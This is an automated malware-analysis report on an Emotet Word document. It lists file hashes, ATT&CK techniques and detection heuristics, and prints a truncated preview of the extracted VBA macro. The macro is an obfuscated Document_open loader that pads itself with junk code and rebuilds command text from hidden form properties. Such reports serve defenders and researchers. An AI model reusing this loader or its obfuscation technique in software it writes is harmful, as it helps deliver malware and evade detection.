Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 973d45fe01f7600e…

MALICIOUS

Office (OLE)

172.7 KB Created: 2019-12-17 12:16:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 9b2102139de94df0d603d5bc7205af67 SHA-1: 1a1be384911e3c4e31fd55f2f78fb6b668446068 SHA-256: 973d45fe01f7600e58e362615c37a97bcf4208134829b05e3c9b39795217961e
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample contains VBA macros, including a Document_Open auto-execution macro, which is a common technique for Emotet. Heuristics indicate the use of a hidden UserForm command stager, suggesting the macro is designed to download and execute a secondary payload. ClamAV detection further confirms the Emotet family and its downloader functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-7461037-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7461037-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9817 bytes
SHA-256: 81ec8f20a27d64e7687c610a8e9f51eaf36992cee79ff1d5b6a8c7b2ceab3d29
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Cfwwrsyvisj"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Control = "Ryejxqsbyx, 0, 0, MSForms, TextBox"
Private Sub Document_open()
   For Gcvfjgjckphp = Xpojqadjozhg To Hbajhokzxldl
         Ziojpoqfacpk = Owxcsovjoxiai
         Cgfslkflxrze = Xuxxolbn
Next
Select Case Twqtqbogrnxv
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Rfisummob = Bjiznycnu To Vvwfzlbg
         Hxpunmkdgq = Cythmblkv
         Rjnwpmanuguu = Famrkouqpsxm
Next
Select Case Zutrubykaqvqf
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
   For Ejydtddxebmeg = Jgwseofrwm To Vfwajagymwi
         Stlhnzdonhbsm = Zsbrxqirh
         Ezrxnxos = Ukjntzhxvhwt
Next
Select Case Turkjjbdfkudw
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Boixbglkfhean
End Sub

Attribute VB_Name = "Rauoutzpccw"
Attribute VB_Base = "0{1E3D5E28-977B-4E09-B5EF-8C33CF6F01C0}{54A49C22-9E1B-42BF-B470-4B53D77197DB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Xkrnlmeuaxgr"
Function Vovjhhwff()
   For Zrulassinyeb = Rhqhjicq To Rvvcxlhvleatw
         Kbcbqfobml = Piiqinwtfxqlb
         Ppdykhuygz = Tctiqsmrndn
Next
Select Case Aphmkqazw
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Zctbduehujso = Cfwwrsyvisj.Ryejxqsbyx
   For Nvpxbkls = Wpstrmtip To Yjegkgzjskv
         Ykxgolkd = Mouttfwfvk
         Lkqrdmjvwbu = Gontdqljysrp
Next
Select Case Dwezknjzn
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Eomxemnhy = Zctbduehujso + Rauoutzpccw.Sjhwpwyulpbxy + Rauoutzpccw.Nbreosnqmpcdj + Rauoutzpccw.Jcbfxiefjbuon
   For Mzusthwehbfb = Lynlznuadmpzo To Odnevgyorg
         Menpairtlo = Aymvhdus
         Txswhqmjvesd = Pwpqwnzzxidwu
Next
Select Case Omotskqxd
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr3))
            DnSM931 = CDate(Uzpcb0lU * CDate(1 / ilGM))
            cCy = 98693360
         Case 7172
            Dkm = CStr(4 - Oct(ZOa) * 33 * CByte(6 + Hex(JDvXr)))
            svo = 6
            Yqm = VGG
         Case 423356465
End Select
Lurffpiggl = Eomxemnhy + Rauoutzpccw.Irarjuyzuqbyp + Rauoutzpccw.Qchbmmau
   For Zvxmdmmfqnf = Jrqujlcyqk To Nntfbplattwb
         Bxkoivgzzv = Xzyqjkasq
         Zoytfqpvoqwk = Bcbnnoyvtrm
Next
Select Case Kmbmwcfl
         Case 726
            kyQno = CSng(1 * 3 - 9 / Hex(nVfie2Dr
... (truncated)

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